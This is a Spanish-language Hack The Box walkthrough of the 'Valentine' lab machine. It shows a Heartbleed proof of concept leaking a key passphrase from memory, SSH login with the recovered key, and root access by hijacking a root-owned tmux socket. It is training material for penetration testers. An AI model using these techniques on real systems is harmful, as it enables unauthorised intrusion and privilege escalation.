Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.
En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.
¡Empecemos con la diversión!
Valentine
Initial Foothold
Enumerando el puerto 80 encontramos hype_key
, que parece estar codificado en hexadecimal.
Abriendo el archivo con vim
hacemos: :%s/ //g
para eliminar los espacios en blanco. Y con xxd -r -p hype_key > hype_key.key
,
obtenemos lo que parece una llave privada. Desafortunadamente, está protegida por una contraseña que no está en
rockyou.txt
.
User
Mirando la versión de OpenSSH (y el nombre de la máquina) podemos tratar de hacer el exploit de heartbleed.
Conseguí el exploit de este repositorio: https://github.com/mpgn/heartbleed-PoC
.
Ejecuté: python heartbleed-exploit.py 10.10.10.79
.
Después de ejecutarlo unas cuantas veces, obtenemos algo interesante.
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F 1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ntent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ontent-Length: 4
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D E6 mV0aGVoeXBlCg==.
0160: 21 D9 4E 30 C2 28 F7 11 36 01 B3 6E 5D 70 C6 A1 !.N0.(..6..n]p..
Esa base64 se traduce a: heartbleedbelievethehype
, que resulta ser la contraseña para el ssh de clave privada. Ahora, después de poner chmod 600 hype_key.key
, podemos realizar ssh:
ssh -i hype_key.key hype@10.10.10.79
.
Root
Ejecutando lse.sh
vemos que tenemos acceso de escritura a un archivo peculiar: /.devs/dev_sess
, que es
propiedad de root.
. Haciendo file /.devs/dev_sess
se revela que es un archivo socket
.
Para averiguar quién está usando este archivo socket, podemos hacer ps aux | grep dev_sess
.
root 1022 0.0 0.1 26416 1672 ? Ss 07:18 0:01 /usr/bin/tmux -S /.devs/dev_sess
Resulta que es una sesión de tmux que funciona como root. ¿Podemos conectarnos a ella?
tmux -S /.devs/dev_sess
Recibimos un error: open terminal failed: missing or unsuitable terminal: tmux-256color
. Busca en Google el error
y encontramos la solución: export TERM=xterm
.
Ahora podemos adjuntar a la sesión de tmux que se está ejecutando como root
.